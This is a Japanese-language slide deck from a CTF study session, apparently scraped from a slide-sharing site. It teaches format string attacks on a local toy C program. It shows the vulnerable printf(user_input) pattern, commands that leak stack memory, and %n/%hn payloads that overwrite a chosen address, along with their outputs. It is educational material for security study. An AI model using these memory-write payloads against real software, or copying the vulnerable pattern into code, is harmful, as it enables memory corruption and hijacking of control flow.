61
Format string Attack '14 7.27 CTF 勉強会@UEC

Format string Attack

  • Upload
    icchy

  • View
    308

  • Download
    0

Embed Size (px)

Citation preview

Format string Attack

'14 7.27 CTF勉強会@UEC

こんにちは

Who am I

自己紹介

● @icchyr

● 某濃厚な大学のB2

● CTF初心者● tuat_mcc

人前でLTをするのは初

何を話すか

● CTF初心者– ちょうど1年くらい?

何を話すか

● CTF初心者– ちょうど1年くらい?– 去年のSECCONが初めてのCTF

● 「SQLインジェクションって何」● 「XSSって何」

Format string Attack

Format string Attack

● つよそう

● フォーマット文字列攻撃– printf(“%s”, hoge);

– %d, %x, %sなど

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● 危険

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● 危険

● 受け取った文字列をそのまま出力している

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● ./a.out AAAA%08x

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● ./a.out AAAA%08x

– AAAAf7ff7000(適当な値)

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● ./a.out AAAA%08x

– AAAAf7ff7000(適当な値)

● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)

– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,00000001,ffffdfe8,f7ff9cd8,41414141,30252c78,2c783830

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● ./a.out AAAA%08x

– AAAAf7ff7000(適当な値)

● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)

– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,00000001,ffffdfe8,f7ff9cd8,41414141,30252c78,2c783830

Format string Attack

scanf(“%s”, hoge);

printf(hoge);

● ./a.out AAAA%08x

– AAAAf7ff7000(適当な値)

● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”)

– AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,00000001,ffffdfe8,f7ff9cd8,41414141,30252c78,2c783830 AAAA

Format string Attack

● %08xを手で打つのはめんどくさい– ./a.out $(printf “AAAA”),%08x,%08x,...

Format string Attack

● %08xを手で打つのはめんどくさい– %10$08x

Format string Attack

● %08xを手で打つのはめんどくさい– %10$08x

● 10番目の引数を参照する

Format string Attack

● %08xを手で打つのはめんどくさい– %10$08x

● 10番目の引数を参照する(実際には$をエスケープする)

Format string Attack

● %08xを手で打つのはめんどくさい– %10$08x

● 10番目の引数を参照する

● ./a.out $(printf “AAAA”),%8\$08x

– AAAA,41414141

Format string Attack

● %08xを手で打つのはめんどくさい– %10$08x

● 10番目の引数を参照する

● ./a.out $(printf “print 'AAAA”),%8\$08x

– AAAA,41414141

● /a.out $(printf “print 'AAABBBBB”),%8\$08x%9\$08x

– AAAA,4241414142424242● リトルエンディアン・アドレスが続いている

Format string Attack

● ./a.out

$(printf “\xdd\xcc\xbb\xaa”),%8\$08x

Format string Attack

● ./a.out

$(printf “\xdd\xcc\xbb\xaa”),%8\$08x

– 0xaabbccddのアドレスの中を見られる

Format string Attack

● ./a.out

$(printf “\xdd\xcc\xbb\xaa”),%8\$08x

– 0xaabbccddのアドレスの中を見られる– 実際は微調整が必要(実行ファイル名の長

さ)

Format string Attack

● %nというフォーマット文字列がある

Format string Attack

● %nというフォーマット文字列がある– いままで出力したバイト数を引数に書き込

Format string Attack

● %nというフォーマット文字列がある– いままで出力したバイト数を引数に書き込

む– これを用いれば任意のアドレスの内容を書

き換えられるのでは

Format string Attack

Format string Attack

● まずは出力した文字が格納される位置を調べる– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)

– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,00001e3c,ffffd164,ffffcf0c,00000000,00000001,41414141,3830252c,30252c78,252c7838,2c783830,78383025,3830252c,30252c78,252c7838,2c783830val's place 0x804a02c :0

Format string Attack

● まずは出力した文字が格納される位置を調べる– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)

– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,00001e3c,ffffd164,ffffcf0c,00000000,00000001,41414141,3830252c,30252c78,252c7838,2c783830,78383025,3830252c,30252c78,252c7838,2c783830val's place 0x804a02c :0

Format string Attack

● まずは出力した文字が格納される位置を調べる– ./a.out $(perl -e “print 'AAAA'.',%08x'x20)

– AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,00001e3c,ffffd164,ffffcf0c,00000000,00000001,41414141,3830252c,30252c78,252c7838,2c783830,78383025,3830252c,30252c78,252c7838,2c783830val's place 0x804a02c :0

– 11番目

Format string Attack

● ./a.out $(printf “AAAA”),%11\$08x

Format string Attack

● ./a.out $(printf “AAAA”),%11\$08x

– AAAA,41414141

val's place 0x804a02c :0

Format string Attack

● ./a.out $(printf “AAAA”),%11\$08x

– AAAA,41414141

val's place 0x804a02c :0

● ./a.out $(printf “\x2c\xa0\x04\x08”),%11\$n

Format string Attack

● ./a.out $(printf “AAAA”),%11\$08x

– AAAA,41414141

val's place 0x804a02c :0

● ./a.out $(printf “\x2c\xa0\x04\x08”),%11\$n

– , ,�val's place 0x804a02c :5

succeeded!!!

Format string Attack

● ./a.out $(printf “AAAA”),%11\$08x

– AAAA,41414141

val's place 0x804a02c :0

● ./a.out $(printf “\x2c\xa0\x04\x08”),%11\$n

– , ,�val's place 0x804a02c :5

succeeded!!!

– 書き換えに成功している– (\x2c\xa0\x04\x08,の5文字->5)

Format string Attack

● ./a.out $(printf “\x2c\xa0\x04\x08”),%100x%11\$08x

Format string Attack

● ./a.out $(printf “\x2c\xa0\x04\x08”),%100x%11\$08x

– , , � ffffd36c

val's place 0x804a02c :105

succeeded!!!

Format string Attack

● ./a.out $(printf “\x2c\xa0\x04\x08”),%100x%11\$08x

– , , � ffffd36c

val's place 0x804a02c :105

succeeded!!!

– 出力するバイト数を調節することで任意の値にできる

Format string Attack

● 自由な値に書き換えたい– 0x804a02cの中身を0x40404040にしたいとする

Format string Attack

● 自由な値に書き換えたい– 0x804a02cの中身を0x40404040にしたいとする– 0x40404040-0x5バイト出力するのは現実的では

ない

Format string Attack

● 自由な値に書き換えたい– 0x804a02cの中身を0x40404040にしたいとする– 0x40404040-0x5バイト出力するのは現実的では

ない

● メモリの構造を利用する

Format string Attack

● 0x804a02dに5を書き込むとどうなるか● ./a.out

$(printf “\x2d\xa0\x04\x08”),%11\$08x

Format string Attack

● 0x804a02dに5を書き込むとどうなるか● ./a.out

$(printf “\x2d\xa0\x04\x08”),%11\$08x

– - ,�val's place 0x804a02c : 1280

succeeded!!!

Format string Attack

● 0x804a02dに5を書き込むとどうなるか● ./a.out

$(printf “\x2d\xa0\x04\x08”),%11\$08x

– - ,�val's place 0x804a02c : 1280

succeeded!!!

– 1280(0x0500)

– 桁位置を指定することができる

Format string Attack

● ただし%nは8バイト書きこむので上位ビットが潰れてしまう

Format string Attack

● ただし%nは8バイト書きこむので上位ビットが潰れてしまう– %hn(ニブル)を使う– 2バイト分書きこむ

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out $(printf “\x2c\xa0\x04\x08”),%59x

%11\$hn

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out $(printf “\x2c\xa0\x04\x08”),%59x

%11\$hn

→ 0x804a02c:0x40

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out $(printf “\x2c\xa0\x04\x08”),%59x

%11\$hn

→ 0x804a02c:0x40

– ./a.out $(printf “\x2c\xa0\x04\x08\x2d\xa0\x04\x08”),%55x%11\$hn%64%12\$hn

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out $(printf “\x2c\xa0\x04\x08”),%59x

%11\$hn

→ 0x804a02c:0x40

– ./a.out $(printf “\x2c\xa0\x04\x08\x2d\xa0\x04\x08”),%55x%11\$hn%64%12\$hn

→ 0x804a02c:0x4040

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out $(printf “\x2c\xa0\x04\x08”),%59x

%11\$hn

→ 0x804a02c:0x40

– ./a.out $(printf “\x2c\xa0\x04\x08\x2d\xa0\x04\x08”),%55x%11\$hn%64%12\$hn59-4

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out

– $(printf

"\x2c\xa0\x04\x08\x2d\xa0\x04\x08\x2e\xa0\x04\x08\x2f\xa0\x04\x08"),%47x%11\$hn%12\$hn%13\$hn%14\$hn

– , - . / , ffffd34e� � � �val's place 0x804a02c : 1077952576(0x40404040)

succeeded!!!

Format string Attack

● 0x804a02cの中身を0x40404040にしたいとする– ./a.out

– $(printf

"\x2c\xa0\x04\x08\x2d\xa0\x04\x08\x2e\xa0\x04\x08\x2f\xa0\x04\x08"),%47x%11\$hn%12\$hn%13\$hn%14\$hn

– , - . / , ffffd34e� � � �val's place 0x804a02c : 1077952576(0x40404040)

succeeded!!!

Format string Attack

● 0x40414243を書きこみたい場合など– 0x43,0x42,0x41,0x40の順に書き込みたい

Format string Attack

● 0x40414243を書きこみたい場合など– 0x43,0x42,0x41,0x40の順に書き込みたい

● %255x(0xff)出力する({現在の値}-1になる)– うまく計算する必要がある

Format string Attack

● 書き換え可能なアドレスを操ることができる– すごい– 実際には呼び出される関数のアドレスに任意の値

を代入して予期せぬ動作を起こさせる– GOT(global offset table)の書き換えなど

ありがとうございました